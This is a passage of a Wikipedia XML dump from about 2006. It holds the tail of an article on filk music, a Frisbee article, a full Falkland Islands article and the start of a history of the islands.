Within the community, the folk culture of filk acknowledges the legitimacy of music created by artists with a broad range of skills. Those who actively identify themselves as filkers include professional musicians, musical novices, and all ranges in between. The repeat appearances of professional musicians at filk-specific conventions suggests a certain amount of respect given high levels of musical skill within filking, even while the culture is open to less experienced musicians. Whether the occasion is a '''housefilk''' in someone's home or a convention (festival) over a weekend, filk culture encourages respectful listening regardless of the performers' skill level and manifest opportunities for participation from single songs in a musical circle to scheduled concerts. That openness to participation is a marked norm in filking (e.g., Jenkins, 1992).

The supportiveness of the filk community may be its greatest contribution to a larger society which so often glorifies competition and super-stardom.  While the folk music community in general is less competitive and more supportive than the professional classical and pop music communities, filk has distilled this even further.  There are many examples of newcomers to the filk scene being unable to sing or play even remotely in time or on pitch, who have been not merely tolerated but encouraged and mentored, who have grown into fully adequate amateur musicians, and in a few cases, even highly regarded performers.

Occasional discussions over the boundaries of filk indicates the extent to which participants in filking are both aware of and keenly interested in the definition of filk as a community. Newsgroup debates over such topics as [http://groups.google.com/group/alt.music.filk/browse_thread/thread/27e133d9408370ba/ca2d4f0a1b157027?lnk=st&amp;q=filk+'weird+al'&amp;rnum=3&amp;hl=en#ca2d4f0a1b157027 whether 'Weird Al' Yankovic is a filker] suggest the deep feelings involved. In practice, most formal recognition of filkers in various awards are to those who regularly attend self-identified filk events, not to professional artists whose work may be considered '''found filk'''. 

===Section references===

* [http://www.filkontario.ca/BSCHspeeches.htm Filk Hall of Fame acceptance speeches by Sally and Barry Childs-Helton].

* Solomon H. Davidoff, ''&quot;Filk:&quot; A Study of Shared Musical Traditions and Related Phenomena among Fan Groups'' (M.A. thesis, Bowling Green State University, 1996). Bowling Green State University Thesis 6673. (At BGSU, call no. LD 4191 O6 No 6673.)

* Henry Jenkins, ''Textual Poachers: Television Fans and Participatory Culture'' (New York: Routledge, 1992), Chapter 8: &quot;'Strangers No More We Sing': Filk Music, Folk Culture, and the Fan Community.&quot;

* Roger D. Launius, &quot;Got Filk? Lament For Apollo In Modern Science Fiction Folk Music&quot; 5th International Astronautical Congress 2004; Vancouver; Canada; 4-8 October. 2004. pp. 1-11. [http://md1.csa.com/partners/viewrecord.php?requester=gs&amp;collection=TRD&amp;recid=A051240614AH&amp;q=filk+music&amp;uid=787232194&amp;setcookie=yes abstract]

* David E. Nye, ''American Technological Sublime'' (Cambridge, MA: MIT Press, 1996).

==See also==
* [[Science fiction fandom]]
* [[Science fiction conventions]]
* [[Society for Creative Anachronism]]

==External links==
===Filking culture and history===
* [http://www.kayshapero.net/filkfaq.htm rec.music.filk FAQ]
* [http://www.filk.com/filk101.htm Jane Mailander's Filking 101 essay]
* [http://www.filking.net/ Dandelion Report] (Canada)
* [http://www.filk.co.uk/ WiGGle newsletter site] (UK)
* [http://www.filk.info/ Let's Filk About] (Germany)
* [http://filk.de/ Das Sprungtor zum deutschen Filkfandom] (Germany)
* [http://www.filk.com/ DAG Productions] (has some articles about culture)
* [http://www.di.org/di_f_his.htm Filk Music and the Dorsai Irregulars] by John Hall
* [http://www.nightsong.com/filk/twippledop/ Tracking Down the First Deliberate Use of &quot;Filk Song&quot;] by Lee Gold
* [http://www.npr.org/templates/story/story.php?storyId=4967052 National Public Radio story on filking], and the [http://www.wired.com/news/digiwood/0,1412,68697,00.html Wired story] by the same journalist (reporting on the 2005 ConChord)

===Filk conventions===
[http://www.filk.info/cons/archiv.php?kategorie=0 Calendar listing] of upcoming conventions

Regular filk conventions sorted by time of year:
* [http://www.gafilk.org/ GAFilk] (Georgia) (early January)
* [http://www.contabile.org.uk/ Contabile] (British&amp;#151;has an annual nickname)(early February)
* [http://www.consonance.org/ Consonance] (San Jose) (early March)
* [http://www.filkontario.ca/ FilKONtario, FKO] (Ontario) (early April)
* [http://www.nefilk.us/ the floating northeastern U.S. filk convention] (summer)
* [http://harmuni.org/ HarmUni III] (UK) (summer 2007)
* [http://www.conchord.org/ ConChord] (Los Angeles) (August)
* [http://www.filkcontinental.de/ FilkCONtinental] (Germany) (early October)
* [http://www.ovff.org Ohio Valley Filk Fest, OVFF] (Ohio) (late October)

===Audio files for downloading (some may require registration)===
* [http://www.filk.com/radio.htm Filk Radio]
* [http://filkarchive.scrumpy.org Filkarchive] (requires registration)
* [http://www.dnaco.net/~mobrien/filk/filkmp3.html Maureen O'Brien collection of filk MP3 links]
* [http://www.filk.biz/eli/virtual.html Virtual Filksing] (Prometheus Music page of free downloads)
* [http://www.filk.com/ DAG Productions] (also a retailer)
* [http://www.tomsmithonline.com/freestuff.htm Tom Smith free download page] (also has pay downloads)
* [http://www.google.com/search?q=filk+mp3 Google search for &quot;filk+MP3&quot;]

===Recording companies===
(sorted alphabetically)
* [http://www.bedlamhouse.com/ Bedlam House] (US)
* [http://www.filk.com/ DAG Productions] (US)
* [http://www.edition-pegasus.de/ Edition Pegasus] (Germany)
* [http://www.firebirdarts.com/ Firebird Arts and Music] (US)
* [http://www.prometheus-music.com/ Prometheus Music] (US)
* [http://www.lovesong.com/ Love Song Productions] (US)
* [http://www.filk.com/ DAG Publications] (US)

===Specialty retailers who carry filk===
In the US, sorted alphabetically:
* [http://www.firebirdarts.com/ Firebird Arts and Music]
* [http://www.pegasuspublishing.com/ Pegasus Publishing]
* [http://www.random-factors.com/ Random Factors]
* [http://www.geocities.com/sffilk/sffilk.htm Southern Fried Filk]
In Europe, sorted alphabetically:
* [http://www.edition-pegasus.de/shop/ Edition Pegasus Online Shop] (Germany)
* [http://www.filklore.co.uk/phpstore/index.php Filklore Music Store] (UK)

===Community===
* [news:rec.music.filk rec.music.filk newsgroup] 
* [news:alt.music.filk alt.music.filk newsgroup] (much spam, but occasionally used for filk that's too bawdy for rec.music.filk)
* [http://www.livejournal.com/community/filk/ Livejournal filk community]
* [http://www.filknet.org/irc.html Filkhaven IRC chat]

===Awards and Funds===
* [http://www.filkontario.ca/HallofFame.htm Filk Hall of Fame] honouring contributions to filk music and the filk community, awarded at FKO
* [http://www.ovff.org/pegasus/ Pegasus Awards] for best song/writer, awarded at OVFF
* [http://www.interfilk.org/filk.htm Interfilk] inter-regional travel support fund

===Miscellaneous===
* [http://filk.info/filkdb/ Filk Database] listing CDs, songs and artists
* [http://dmoz.org/Arts/Music/Styles/Filk/ Open Directory Category: Filk]
* [http://thestarport.org/xeno/xeno.html Xenofilkia], a bimonthly [[Fanzine|fanzine]] (amateur ephemeral periodical) that has printed filks and related material since 1988; the website contains a complete index
* [http://o.webring.com/hub?ring=filk Filker's Bardic Ring], a webring of filkers


[[Category:Musical genres|Filk]]
[[Category:Filkers|*]]
[[Category:Science fiction fandom]]
[[Category:Fandom|Filk]]
[[Category:Fan fiction]]
[[Category:Subcultures]]
[[Category:Fandom]]

[[de:Filk]]
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    </revision>
  </page>
  <page>
    <title>Film Noir</title>
    <id>10686</id>
    <revision>
      <id>15908484</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Film noir]]
</text>
    </revision>
  </page>
  <page>
    <title>Frisbee</title>
    <id>10687</id>
    <revision>
      <id>40539631</id>
      <timestamp>2006-02-21T07:52:02Z</timestamp>
      <contributor>
        <username>Welsh</username>
        <id>310131</id>
      </contributor>
      <minor />
      <comment>Add link to Suzy Sticks</comment>
      <text xml:space="preserve">[[Image:frisbee-1.jpg|thumb|200px|right|A [[Wham-O]] Professional Frisbee]]

While the word '''Frisbee''' is a registered [[trademark]] of the [[Wham-O]] toy company, the term is often used [[genericized trademark|generically]] to describe '''flying discs''' similar to those made by the company. They are generally [[plastic]], roughly 20 to 25 centimeters (8&amp;ndash;10&amp;nbsp;in) in [[diameter]], with a lip. They are designed to fly [[aerodynamic]]ally when thrown with [[rotation]] and can be caught by hand.

A wide range of Frisbee (flying Discs) variants are available commercially. [[Disc golf]] discs are usually smaller but denser and are tailored for particular flight profiles to increase/decrease stability and distance. When it was discovered that [[dog]]s enjoyed chasing and retrieving the slow-moving discs, special discs were designed with more pliable material that would better resist a dog's bite. [[Disc dog]] competitions, in which dogs' disc-catching skills are judged, have become quite popular as well. Ring-like discs shaped like a [[Saturn (planet)|Saturn]]'s ring, known as [[Aerobie]]s, typically fly significantly farther than any traditional flying disc. The evolution has continued with the advancement of lighting a flying disc for evening and night-time play. By using a [[Flashflight]] disc, players can extend the throw and catch playing time after the sun goes down.

==History==

The modern day frisbees are developed from the &quot;Flying-Saucer&quot;, originally invented by [[Walter Frederick Morrison]] and codeveloped and financed by [[Warren Franscioni]] in [[1948]]. However, that initial disc was largely unsuccessful. A later model made by Morrison in [[1955]] and sold as the &quot;Pluto Platter&quot; was bought by Wham-O on [[January 13]], [[1957]]. In the next year, Wham-O renamed the toy &quot;Frisbee&quot;, a (probably deliberate) misspelling of the name of the [[Frisbie Pie Company]] of [[Bridgeport, Connecticut]], whose [[pie]] tins had been used by [[Yale University]] students in the campus for similar purposes.

==Games using flying discs==

* [[Ultimate (sport)|Ultimate]]
* [[Freestyle frisbee]]
* [[Guts]]
* [[Disc Golf]] - the traditional game of [[Golf]] played with flying discs (frisbees) instead of clubs and balls.
* [[Durango Boot]]
* [[DDC]]
* [[Flutterguts]], also known as [[Flutter Frisbee]]
* [[Friskee]]
* [[Disc dog]]
* [[Dodge Frisbee]]
* [[Goaltimate]]
* [[Schtick (Disc Game)|Schtick]]
* [[Fricket]], also known as Cups
* [[Hot Box]]
* [[Suzy Sticks]]

==Physics==

The rotating flying disc has [[angular momentum]] perpendicular to the horizontal plane, stabilizing the disc's attitude &lt;!-- &quot;attitude&quot; is the correct term here; pls don't change to &quot;altitude&quot;. -elf Dec 05 --&gt; in high-speed flight.  Small ridges near the leading edge act as turbulators, reducing flow separation by forcing the airflow to become [[turbulent]] after it passes over the ridges.  [[Lift (force)|Lift]] is generated in primarily the same way as a traditional asymmetric [[airfoil]], that is, by accelerating upper airflow such that a pressure difference gives rise to a lifting force.

[[Richard Feynman]] in his book ''[[Surely You're Joking, Mr. Feynman!]]'' suggests that watching the wobble of a plate tossed in the [[MIT]] cafeteria stimulated him to develop mathematics that eventually led to his Nobel prize winning work in [[quantum electrodynamics]] [http://www.washingtonpost.com/wp-dyn/content/article/2005/11/03/AR2005110301924.html].

==See also==

*Descriptions of [[Frisbee throws]]
*[[Frisbeetarianism]]
*In the animated motion picture [[The Secret of NIMH]], the main character's name was changed in post-production from &quot;Frisby&quot; to &quot;Brisby&quot; to avoid potential trademark infringements.

==Further reading==

*''Frisbee, A Practitioner's Manual and Definitive Treatise'' Stancil E.D. Johnson, M.D. Workman Publishing Company, New York (July, 1975) ISBN 0-911104-53-4
*''The Official Frisbee Handbook'' Goldy Norton, Bantam Books, Toronto/New York/London (July, 1972) no ISBN
*''Frisbee Players' Handbook'' Mark Danna, Dan Poynter, Parachuting Publications, Santa Barbara, California (1978) ISBN 0-015516-19-5
*''Frisbee Sports &amp; Games'' Charles Tips, Dan Roddick, Celestial Arts, Millbrae, California (March 1979) ISBN 0-89087-233-3
*''Frisbee by the Masters'' Charles Tips, Celestial Arts, Millbrae, California (March 1977) ISBN 0-89087-142-6

==External links==

*[http://inventors.about.com/library/weekly/aa980218.htm Frisbee, about.com]
*[http://www.frisbeedisc.com/ Wham-O Frisbee disc website]
*[http://www.ukultimate.com/ UK Ultimate Association]
*[http://www2.upa.org/index.php/ Ultimate Players Association]
*[http://www.frisbeecollective.com frisbeecollective.com]

[[Category:Frisbee]]
[[Category:National Toy Hall of Fame]]
[[Category: Toys]]
[[Category:Yale University]]

[[cs:Frisbee]]
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[[ja:フライングディスク]]
[[no:Frisbee]]
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    </revision>
  </page>
  <page>
    <title>Falkland Islands</title>
    <id>10688</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41968581</id>
      <timestamp>2006-03-02T23:12:10Z</timestamp>
      <contributor>
        <username>Icairns</username>
        <id>64875</id>
      </contributor>
      <comment>original -&gt; earlier</comment>
      <text xml:space="preserve">{| class=&quot;infobox bordered&quot; cellpadding=&quot;4&quot; style=&quot;width: 20em; font-size: 95%;&quot;
|+ style=&quot;margin-left: inherit; font-size: medium;&quot; | '''Falkland Islands'''
|-
| align=&quot;center&quot; colspan=&quot;2&quot; |
{| style=&quot;width: 280px; background: none; text-align: center;&quot;
|- style=&quot;vertical-align: middle;&quot;
| style=&quot;border: 0;&quot; | &lt;span style=&quot;display:table-cell; border-collapse:collapse; border: solid 1px #BBBBBB;&quot;&gt;[[Image:Flag of the Falkland Islands.svg|125px|Flag of the Falkland Islands]]&lt;/span&gt;
| style=&quot;border: 0;&quot; | [[Image:Falklands_Coat_of_Arms.png|70px|Coat of Arms of the Falkland Islands]]
|- style=&quot;font-size: smaller;&quot;
| style=&quot;border: 0;&quot; | [[Flag of the Falkland Islands|Flag]]
| style=&quot;border: 0;&quot; | [[Coat of Arms of the Falkland Islands|Coat of Arms]]
|}
|- style=&quot;text-align: center;&quot;
| style=&quot;font-size:95%&quot; colspan=&quot;2&quot; | [[List of state mottos|Motto]]: ''Desire the right''
|- style=&quot;text-align: center;&quot;
| style=&quot;font-size:95%&quot; colspan=&quot;2&quot; | [[National anthem|Anthem]]: [[God Save the Queen]]
|- style=&quot;text-align: center;&quot;
| colspan=&quot;2&quot; style=&quot;background:#ffffff;&quot; | [[Image:LocationFalklandIslands.png|Location of the Falkland Islands]]
|-
| '''[[Capital]]'''
| [[Stanley, Falkland Islands|Stanley]]
|-
| '''Status'''
| [[British overseas territory|Overseas territory]] of the [[United Kingdom]]
|-
| '''[[Official language|Official&amp;nbsp;language(s)]]'''
| [[English language|English]]
|-
|'''[[Governor of the Falkland Islands|Governor]]'''
|[[Howard Pearce]]
|-
| '''[[Area]]'''&lt;br /&gt;&amp;nbsp;- Total &lt;br /&gt;&amp;nbsp;- % water || [[List of countries by area|not ranked]]&lt;br /&gt; [[1 E10 m²|12,173 km&amp;sup2;]] &lt;br /&gt; -
|-
| '''[[Population]]'''&lt;br/&gt;&amp;nbsp;- Total (2003 [[Estimation|E]])&lt;br /&gt;&amp;nbsp;- [[Population density|Density]] || [[List of countries by population|not ranked]]&lt;br /&gt; 2,967&lt;br /&gt; 0.24/km&amp;sup2;
|-
|'''[[Currency]]'''                      
|[[Falkland pound]] (FKP; fixed to [[Pound Sterling|GBP]])
|-
|'''[[Time zone]]'''                     
|[[Coordinated Universal Time|UTC]] -4 ([[Daylight Saving Time|DST]] -3)
|-
|'''[[Top-level domain|Internet TLD]]''' 
|[[.fk]]
|-
|'''[[List_of_country_calling_codes|Calling Code]]'''
|500
|}
The '''Falkland Islands'''  are an [[archipelago]] in the [[South Atlantic Ocean]], 300 miles (483 km) from the coast of [[South America]]. They consist of two main islands, [[East Falkland]] and [[West Falkland]], and a number of smaller islands. The Falklands is an [[British overseas territory|overseas territory]] of the [[United Kingdom]]. [[Stanley, Falkland Islands|Stanley]], on East Falkland, is the capital and largest city.

The [[Sovereignty of the Falkland Islands|sovereignty of the Falkland Islands]] has been disputed since their discovery, with [[France]], [[Spain]], [[Argentina]] and the [[United Kingdom]] all claiming possession after establishing settlements on the islands. The French and Spanish claims have long been abandoned, but Argentina maintains a claim over the islands, which they call '''''Islas Malvinas''''', a [[Spanish language|Spanish]] translation of the earlier French name, ''Îles Malouines''. The sovereignty dispute was the source of the 1982 [[Falklands War]], in which the islands were invaded and briefly occupied by Argentina. The United Kingdom dispatched a task force to the Islands and, after a month-long war, the Argentine Forces surrendered and the islands returned to British control. The sovereignty of the islands remains disputed, but the majority of islanders themselves wish to remain British.

==History==
{{main|History of the Falkland Islands}}
The Falkland Islands were uninhabited when they were first discovered by [[Europe]]an explorers. Disputed evidence exists of prior settlement by humans based on the existence of the [[Falkland Island fox]], or Warrah on the islands. It is thought this fox was brought to the island by humans, although it may have reached the islands itself via a land bridge during the last [[ice age]].

The first European explorer widely credited with sighting the islands is [[Sebald de Weert]], a [[Netherlands|Dutch]] sailor, in 1600. Although several [[England|English]] and Spanish historians maintain their own explorers discovered the islands earlier, some older maps, particularly Dutch ones, used the name 'Sebald Islands', after de Weert. However, the islands appear on numerous Spanish and other maps beginning in the 1520s.

In January of 1690 English sailor [[John Strong]], captain of the ''Welfare'', was heading for [[Puerto Deseado|Port Desire]] (in Argentina), but driven off course by contrary winds, he reached the Sebald Islands instead and landed at Bold Cove. He sailed between the two principal islands and called the passage &quot;Falkland Channel&quot; (now [[Falkland Sound]]), after [[Anthony Cary, 5th Viscount Falkland]] (1659-1694), who as [[Commissioner]] of the [[Admiralty]] had financed the expedition and who later became First Lord of the Admiralty. From this body of water the island group later took its collective English name. The [[French language|French]] name Îles Malouines was given to the islands by early 18th century French mariners from the [[Brittany|Breton]] port of [[Saint-Malo]], &quot;malouin&quot; being the adjective derived from &quot;Malo&quot;. The [[Spanish language|Spanish]] name Islas Malvinas is derived from the French name.

The first settlement on the Falkland Islands was founded by [[France]] in 1764 on Berkeley Sound, at [[Port Louis, Falkland Islands|Port Louis]], [[East Falkland]]. Unaware of the French presence, in January, 1765 English captain [[John Byron]] explored and claimed [[Saunders Island]], at the western end of the group, where he named the harbour of [[Port Egmont]], and sailed near other islands, which he also claimed for king [[George III of Great Britain]]. A British settlement was built at Port Egmont in 1766. Also in 1766, Spain acquired the French colony, and after assuming effective control in 1767, placed the islands under a governor subordinate to [[Buenos Aires]]. Spain attacked Port Egmont, ending the British presence there in 1770, but Britain returned in 1771 and remained until 1774. Upon her withdrawal in 1774 Britain left behind a [[Commemorative plaque|plaque]] asserting her claims, but from then on Spain ruled unchallenged, maintaining a settlement until 1811. On leaving in 1811, Spain, too, left behind a plaque asserting her claims.

Argentina declared [[independence]] in 1816 and laid claim to the Islands, which were then uninhabited. Actual occupation began in 1820 with the foundation of a settlement and a penal colony. The settlement was destroyed by the [[United States]] in 1831 during a dispute over [[fishing]] rights. Britain  [[1833 invasion of the Falkland Islands|returned to the islands in 1833]], removed the remainder of the Argentine settlement, and began to populate the islands with its own citizens.

[[Image:IMG 0685-port-stanley.jpg|thumb|275px|[[Stanley, Falkland Islands|Stanley]].]]

The [[Royal Navy]] built a base at [[Stanley, Falkland Islands|Stanley]], and the islands became a strategic point for navigation around [[Cape Horn]]. The [[World War I]] naval battle, the [[Battle of Falkland Islands]] took place in December 1914, with a British victory over the [[Germany|Germans]]. During [[World War II]], Stanley served as a Royal Navy station and serviced ships who took part in the [[Battle of the River Plate]]. 

Sovereignty over the islands became an issue again in the latter half of the 20th century. Argentina, which had never renounced its claim to the islands, used the newly formed [[United Nations]] as an avenue for pursuing its claims, and talks between the British and Argentine foreign missions took place in the 1960s. However the talks never came to any meaningful conclusion, and a major sticking point in any negotiations was the 2,000 inhabitants of mainly British descent who prefer that the islands remain British territory. 

On [[April 2]], [[1982]], Argentina [[1982 invasion of the Falkland Islands|invaded the Falkland Islands]] and other British territories in the South Atlantic ([[South Georgia]] and the [[South Sandwich Islands]]), encouraged in part by the United Kingdom's reduction in military capacity in the South Atlantic, and as a diversion from poor economic performance at home. World reaction to the invasion ranged from support in the [[Latin America]]n countries, to opposition in Europe, the Commonwealth, and eventually the United States. The British sent a large expeditionary force to retake the islands leading to the [[Falklands War]]. After a short but fierce naval and air war, the British landed at San Carlos Water on [[May 21]] and a land war followed until the Argentinean forces surrendered on [[June 14]].

Following the war, the British increased their military presence on the islands, constructing [[RAF Mount Pleasant]] and increasing the military garrison. Falkland Islanders were also granted full British citizenship. Although the UK and Argentina since resumed diplomatic relations in 1989, no further negotiations on sovereignty have taken place.

==Politics==
{{main|Politics of the Falkland Islands}}
[[Image:Howard Pearce.jpg|thumb|175px|[[Howard Pearce]], [[Governor of the Falkland Islands]].]]
Executive authority comes from the Queen and is exercised by the [[Governor of the Falkland Islands|Governor]] on her behalf. The Governor is also responsible for the administration of [[South Georgia and the South Sandwich Islands]], as these islands have no native inhabitants. Defence and Foreign Affairs are the responsibility of the United Kingdom. 

Under the [[constitution]], the latest version of which came into force in 1985, there is an [[Executive Council]] and a [[Legislative Council]].  The Executive Council, which advises the Governor, is also chaired by the Governor. It consists of the Chief Executive, Financial Secretary and three Legislative Councillors, who are elected by the other Legislative Councillors.  The Legislative Council consists of the Chief Executive, Financial Secretary and the eight Legislative Councillors, of whom five are elected from Stanley and three from [[Camp (Falkland Islands)|Camp]], for four year terms. It is presided over by the Speaker, currently Geoffrey Lionel Blake. 

The loss of the war against Britain over control of the islands led to the collapse of the Argentine [[military dictatorship]] in 1983. Disputes over control of the islands continue. In 2001, British Prime Minister [[Tony Blair]] became the first to visit Argentina since the war. On the 22nd anniversary of the war, Argentina's President [[Néstor Kirchner]] gave a speech insisting that the islands would once again be part of Argentina. Kirchner, campaigning for president in 2003, regarded the islands a top priority. In June 2003 the issue was brought before a United Nations committee, and attempts have been made to open talks with Britain to resolve the issue of the islands. As far as the Falkland Islands Government and people are concerned there is no issue to resolve. The Falkland Islanders themselves are almost entirely British and maintain their allegiance to the United Kingdom.  (See also [[Sovereignty of the Falkland Islands]].)

Falkland Islanders were granted full British citizenship from [[1 January]] [[1983]] under the [[British Nationality (Falkland Islands) Act 1983]].

==Geography==
[[Image:Falklands Map.gif|thumb|250px|Map of the Falkland Islands]]

The islands are 300 miles (483 km) from the [[South America]]n mainland. There are two main islands, [[East Falkland]] and [[West Falkland]] and about 700 small islands. The total land area is 12,173 km&amp;sup2;, approximately the same area as [[Connecticut]] or [[Northern Ireland]], and a [[coastline]] estimated at 1,288 km.

Much of the land is part of the two main islands separated by the [[Falkland Sound]]: [[East Falkland]], home to the capital of [[Stanley, Falkland Islands|Stanley]] and the majority of the population, and [[West Falkland]].  Both islands have [[mountain range]]s, rising to 705 m at [[Mount Usborne]] on East Falkland.  There are also some [[bog]]gy [[plain]]s, most notably [[Lafonia]], the southern half of East Falkland.  Virtually the entire area of the islands is used as [[pasture]] for [[domestic sheep|sheep]].

Smaller islands surround the main two.  They include [[Barren Island (Falkland Islands)|Barren Island]], [[Beaver Island (Falkland Islands)|Beaver Island]], [[Bleaker Island]], [[Carcass Island]], [[George Island]], [[Keppel Island]], [[Lively Island]], [[New Island]], [[Pebble Island]], [[Saunders Island (Falkland Islands)|Saunders Island]], [[Sealion Island]], [[Speedwell Island]], [[Staats Island]], [[Weddell Island]], [[West Point Island]].  The [[Jason Islands]] lie to the north west of the main archipelago, and [[Beauchene Island]] some distance to its south. Speedwell Island and George Island are split from East Falkland by [[Engle Passage]]. 

The islands claim a territorial sea of 12 nautical miles (22 km) and an [[exclusive fishing zone]] of 200 nautical miles (370 km), which has been a source of disagreement with [[Argentina]].

The Falkland Islands have a cold marine climate with strong westerly winds.  It is generally [[cloud]]y and [[humid]]; [[rain]] occurs on more than half the days in a typical year.  Snow is rare, but can occur at almost any time of year.  Islanders themselves talk about two main areas of the islands, namely Stanley and the rest, which they call &quot;the Camp&quot;, from the Spanish ''campo'' (&quot;countryside&quot;).
{{Falkland Islands}}

==Economy==
[[Image:Falkland1.jpg|thumb|200px|left|A Falkland Pound Note]]
{{main|Economy of the Falkland Islands}}

The largest industries are [[fishing]] and [[agriculture]]. The islands have oil reserves that are believed to be quite substantial, but have yet to be exploited. The climatic conditions of the southern seas mean that the economic viability of any exploitation is poor. The continuing sovereignty dispute with Argentina also hampers exploration possibilities. Since the 1982 war, expenditure by the British military forms a major part of the island's economy. 

The largest company in the islands is the [[Falkland Islands Company]], a publicly quoted company on the [[London Stock Exchange]] and responsible for the majority of the economic activity on the islands.

The currency in use is the [[Falkland Islands pound|Falkland Pound]], which remains in parity with [[Pound Sterling | Pounds Sterling]]. The Falkland Islands also mint their own coins, and issue stamps which forms a source of revenue from overseas collectors.

==Demographics==
[[Image:IMG 0688-ch-whalebone-arch.jpg|thumb|175px|[[Christ Church Cathedral, Stanley|Christ Church Cathedral]] with whale bone arch, [[Stanley, Falkland Islands|Stanley]].]]
The population is 2,967 (July 2003 estimate), the majority of which are of British descent (approximately 70%). Those people from the United Kingdom who have obtained Falkland Island status, became what are known locally as 'belongers'. However, a few are of Scandinavian descent. Some are the descendants of whalers who reached the Islands during the last two centuries. Furthermore there is a small minority of South American, mainly Chilean origin, and in more recent times many people from [[St Helena]] have also come to work in the Islands. The Falkland Islands have been a centre of English language learning for South Americans.

Islanders call themselves &quot;Islanders&quot;. Outsiders often call Islanders &quot;Kelpers&quot;, from the [[kelp]] which grows profusely around the islands, but the name is no longer used in the Islands.
&lt;!-- it being used pejoratively in Argentina to mean ''second-class citizens'' as a reflection on the legal status of the islanders within the UK prior to the passing of the [[British Nationality (Falkland Islands) Act 1983|Nationality Act of 1983]].
--&gt;

The main religion is [[Christianity]]. The main denominations are [[Church of England]], [[Roman Catholicism]], [[United Free Church]], [[Evangelist Church]], [[Jehovahs Witnesses|Jehovah's Witnesses]], [[Lutheranism]] and [[Seventh-day Adventist Church | Seventh-day Adventism]]. The extra-provincial [[Anglicanism|Anglican]] parish of the Falkland Islands is under the direct jurisdiction of the [[Archbishop of Canterbury]].  The Falklands Islands form an [[Apostolic Prefecture]] of the Catholic Church.

==Transport==

The Falkland Islands has two airports with paved runways. [[RAF Mount Pleasant]], 30 miles west of Stanley acts as the main international airport, with flights operated by the [[Royal Air Force]] to [[RAF Brize Norton]] in Oxfordshire, [[United Kingdom]] with a refueling stop at [[RAF Ascension Island]]. RAF flights are on Tri-Stars although it is common for charter aircraft to be used if the Tri-Stars are required for operational flights. Flights are also available to [[Chile]] operated by [[LAN (airline)|LAN]]. [[Port Stanley Airport]] is a smaller airport outside the city, and is used for internal flights. Most settlements have grass air strips which are served by Islander aircraft. The internal flight schedule is decided a day in advance according to passenger needs and an announcement made on the radio detailing arrival and departure times the night before. Some flights also operate to British bases in the [[British Antarctic Territory]].

The road network has been improved in recent years, however, few paved roads exist outside Stanley and the RAF base.

==Mines and Ordnance==

Thousands of land mines remain from the 1982 war which are securely and clearly fenced off with free maps available from the EOD (Explosive [[Ordnance]] Disposal) office in Stanley. Care should still be taken as some beaches were mined and there have been concerns the tides could have moved some mines. The same applies where mine fields are close to rivers. Care should be taken in case mines have been washed out of the marked area by flooding. There is also ordnance left over from the war, although finds of this type are becoming rarer with the passage of time.

==See also==
* [[Sovereignty of the Falkland Islands]]
* [[Communications in the Falkland Islands]]
* [[Military of the Falkland Islands]]
* [[Stamps and postal history of the Falkland Islands]]
* [[Transport in the Falkland Islands]]
* [[Battle of the Falkland Islands]] - naval engagement of the [[World War I|First World War]]
* [[British Nationality (Falkland Islands) Act 1983]]
* [[Falkland Islands Dependencies Survey]]
* [[Falklands War]] - conflict between [[Argentina]] and [[United Kingdom]]
* [[List of settlements in the Falkland Islands]]
* [[Major Samuel Stransham]]
* [[Geology of the Falkland Islands]]



==External links==
{{sisterlinks|Falkland Islands}}
* [http://www.falklands.gov.fk/ Falkland Islands Government] official site
* [http://www.falklandislands.com/ Falkland Islands Tourism] official site
* [http://www.fidc.org.fk/ Falkland Islands Development Corporation] official site
* [http://www.falklandnews.com/ Falkland Islands News Network] official site
* [http://www.falklands.info/ Falkland Islands Information Portal]
* [http://dmoz.org/Regional/South_America/Falkland_Islands Open Directory Project - Falkland Islands]
* [http://www.jim-mclaren.co.uk/ Falkland Islands Photos Collection]

{{South America}}
{{British dependencies}}

[[Category:Archipelagoes]]
[[Category:Current British colonies]]
[[Category:Disputed territories]]
[[Category:Falkland Islands|Falkland Islands]]
[[Category:Special territories of the European Union]]

[[zh-min-nan:Falkland Kûn-tó]]
[[ca:Illes Malvines]]
[[cs:Falklandy]]
[[da:Falklandsøerne]]
[[de:Falklandinseln]]
[[et:Falklandi saared]]
[[es:Islas Malvinas]]
[[eo:Falklandoj]]
[[eu:Falkland-Malvinak]]
[[fr:Îles Malouines]]
[[gl:Illas Malvinas - Falkland Islands]]
[[ko:포클랜드 제도]]
[[io:Falklandi]]
[[id:Kepulauan Falkland]]
[[is:Falklandseyjar]]
[[it:Isole Falkland]]
[[he:איי פוקלנד]]
[[lt:Folklando salos]]
[[hu:Falkland-szigetek]]
[[nl:Falklandeilanden]]
[[ja:フォークランド諸島]]
[[no:Falklandsøyene]]
[[nn:Falklandsøyane]]
[[pl:Falklandy]]
[[pt:Malvinas]]
[[ru:Фолклендские (Мальвинские) острова]]
[[simple:Falkland Islands]]
[[sk:Falklandy]]
[[sl:Falklandski otoki]]
[[fi:Falklandinsaaret]]
[[sv:Falklandsöarna]]
[[tr:Falkland Adaları]]
[[zh:福克兰群岛]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Falkland Islands</title>
    <id>10689</id>
    <revision>
      <id>39001677</id>
      <timestamp>2006-02-10T01:29:01Z</timestamp>
      <contributor>
        <username>ShiningEyes</username>
        <id>768276</id>
      </contributor>
      <comment>cleanup</comment>
      <text xml:space="preserve">The [[Falkland Islands]] were uninhabited when discovered by [[Europe]]ans, but the recent discovery of the remains of a [[wood]]en [[canoe]] is strong evidence that they had previously been visited, most probably by the [[Yaghan]] people of [[Tierra del Fuego]]. It has also been suggested that the [[Falkland Island fox]]es, or warrahs, found on the [[island]]s were introduced by the Yaghans, bearing as they did a resemblance to the [[culpeo]] or Fuegian [[fox]].

